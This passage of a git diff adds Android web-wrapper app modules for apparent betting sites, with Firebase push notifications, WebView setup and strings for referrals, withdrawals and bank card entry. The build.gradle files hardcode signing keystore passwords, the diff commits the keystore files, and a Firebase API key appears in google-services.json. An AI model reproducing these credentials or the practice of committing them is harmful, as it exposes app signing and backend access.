notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/syok4bet/src/main/java/com/web/syok4bet/WebApplication.java b/syok4bet/src/main/java/com/web/syok4bet/WebApplication.java new file mode 100644 index 0000000..85be4c5 --- /dev/null +++ b/syok4bet/src/main/java/com/web/syok4bet/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.syok4bet; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/syok4bet/src/main/res/drawable-anydpi/ic_action_back.xml b/syok4bet/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/syok4bet/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/syok4bet/src/main/res/drawable-hdpi/ic_action_back.png b/syok4bet/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/syok4bet/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/syok4bet/src/main/res/drawable-mdpi/ic_action_back.png b/syok4bet/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/syok4bet/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/syok4bet/src/main/res/drawable-v24/ic_launcher_foreground.xml b/syok4bet/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/syok4bet/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/drawable-xhdpi/ic_action_back.png b/syok4bet/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/syok4bet/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/syok4bet/src/main/res/drawable-xxhdpi/ic_action_back.png b/syok4bet/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/syok4bet/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/syok4bet/src/main/res/drawable/big_bg.xml b/syok4bet/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..2509754 --- /dev/null +++ b/syok4bet/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/drawable/ic_launcher_background.xml b/syok4bet/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/syok4bet/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/syok4bet/src/main/res/drawable/input_bg.xml b/syok4bet/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/syok4bet/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/syok4bet/src/main/res/drawable/pass_word_bg.xml b/syok4bet/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/syok4bet/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/syok4bet/src/main/res/drawable/pass_word_bg1.xml b/syok4bet/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/syok4bet/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/drawable/pass_word_bg2.xml b/syok4bet/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/syok4bet/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/drawable/shape_btn_bg.xml b/syok4bet/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/syok4bet/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/drawable/shape_dialog_bg2.xml b/syok4bet/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/syok4bet/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/drawable/shape_dialog_bg3.xml b/syok4bet/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/syok4bet/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/drawable/shape_dialog_bg_new.xml b/syok4bet/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/syok4bet/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/syok4bet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/syok4bet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/syok4bet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/syok4bet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/mipmap-hdpi/ic_empty.png b/syok4bet/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/syok4bet/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/syok4bet/src/main/res/mipmap-hdpi/ic_pull_down.png b/syok4bet/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/syok4bet/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/syok4bet/src/main/res/mipmap-xhdpi/ic_close.png b/syok4bet/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/syok4bet/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/syok4bet/src/main/res/mipmap-xhdpi/ic_menu.png b/syok4bet/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/syok4bet/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/syok4bet/src/main/res/mipmap-xxhdpi/app_logo.jpg b/syok4bet/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..d28ff40 Binary files /dev/null and b/syok4bet/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/syok4bet/src/main/res/values-en/strings.xml b/syok4bet/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/syok4bet/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/syok4bet/src/main/res/values-night/themes.xml b/syok4bet/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/syok4bet/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/values/colors.xml b/syok4bet/src/main/res/values/colors.xml new file mode 100644 index 0000000..751f84f --- /dev/null +++ b/syok4bet/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #c31f35 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/syok4bet/src/main/res/values/strings.xml b/syok4bet/src/main/res/values/strings.xml new file mode 100644 index 0000000..d7c58ef --- /dev/null +++ b/syok4bet/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SYOK4BET + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/values/themes.xml b/syok4bet/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/syok4bet/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/xml/app_updater_paths.xml b/syok4bet/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/syok4bet/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/xml/network_security_config.xml b/syok4bet/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/syok4bet/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/syok4bet/src/main/res/xml/provider_paths.xml b/syok4bet/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/syok4bet/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/syok4bet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/syok4bet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/syok4bet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/tamanjudi33/.gitignore b/tamanjudi33/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/tamanjudi33/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/tamanjudi33/build.gradle b/tamanjudi33/build.gradle new file mode 100644 index 0000000..5d75e5c --- /dev/null +++ b/tamanjudi33/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.tamanjudi33" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "tamanjudi33" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/tamanjudi33/google-services.json b/tamanjudi33/google-services.json new file mode 100644 index 0000000..be43084 --- /dev/null +++ b/tamanjudi33/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "738262339968", + "project_id": "tamanjudi-ee817", + "storage_bucket": "tamanjudi-ee817.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:738262339968:android:b65f889a40d43f39a57165", + "android_client_info": { + "package_name": "com.xyz.tamanjudi33" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAhvV98Ux8hCHygplVnViHcul2_rZXwxUA" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/tamanjudi33/justlet.jks b/tamanjudi33/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/tamanjudi33/justlet.jks differ diff --git a/tamanjudi33/ppn.jks b/tamanjudi33/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/tamanjudi33/ppn.jks differ diff --git a/tamanjudi33/proguard-rules.pro b/tamanjudi33/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/tamanjudi33/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/tamanjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/tamanjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/tamanjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/tamanjudi33/src/main/AndroidManifest.xml b/tamanjudi33/src/main/AndroidManifest.xml new file mode 100644 index 0000000..03798f5 --- /dev/null +++ b/tamanjudi33/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tamanjudi33/src/main/java/com/xyz/tamanjudi33/MainActivity.java b/tamanjudi33/src/main/java/com/xyz/tamanjudi33/MainActivity.java new file mode 100644 index 0000000..447a615 --- /dev/null +++ b/tamanjudi33/src/main/java/com/xyz/tamanjudi33/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.tamanjudi33; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 228; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://tamanjudi33.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#73a300"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0c3834"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/tamanjudi33/src/main/java/com/xyz/tamanjudi33/MyFirebaseMessageingService.java b/tamanjudi33/src/main/java/com/xyz/tamanjudi33/MyFirebaseMessageingService.java new file mode 100644 index 0000000..11399ad --- /dev/null +++ b/tamanjudi33/src/main/java/com/xyz/tamanjudi33/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.tamanjudi33; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/tamanjudi33/src/main/java/com/xyz/tamanjudi33/WebApplication.java b/tamanjudi33/src/main/java/com/xyz/tamanjudi33/WebApplication.java new file mode 100644 index 0000000..216a39b --- /dev/null +++ b/tamanjudi33/src/main/java/com/xyz/tamanjudi33/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.tamanjudi33; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/tamanjudi33/src/main/res/drawable-anydpi/ic_action_back.xml 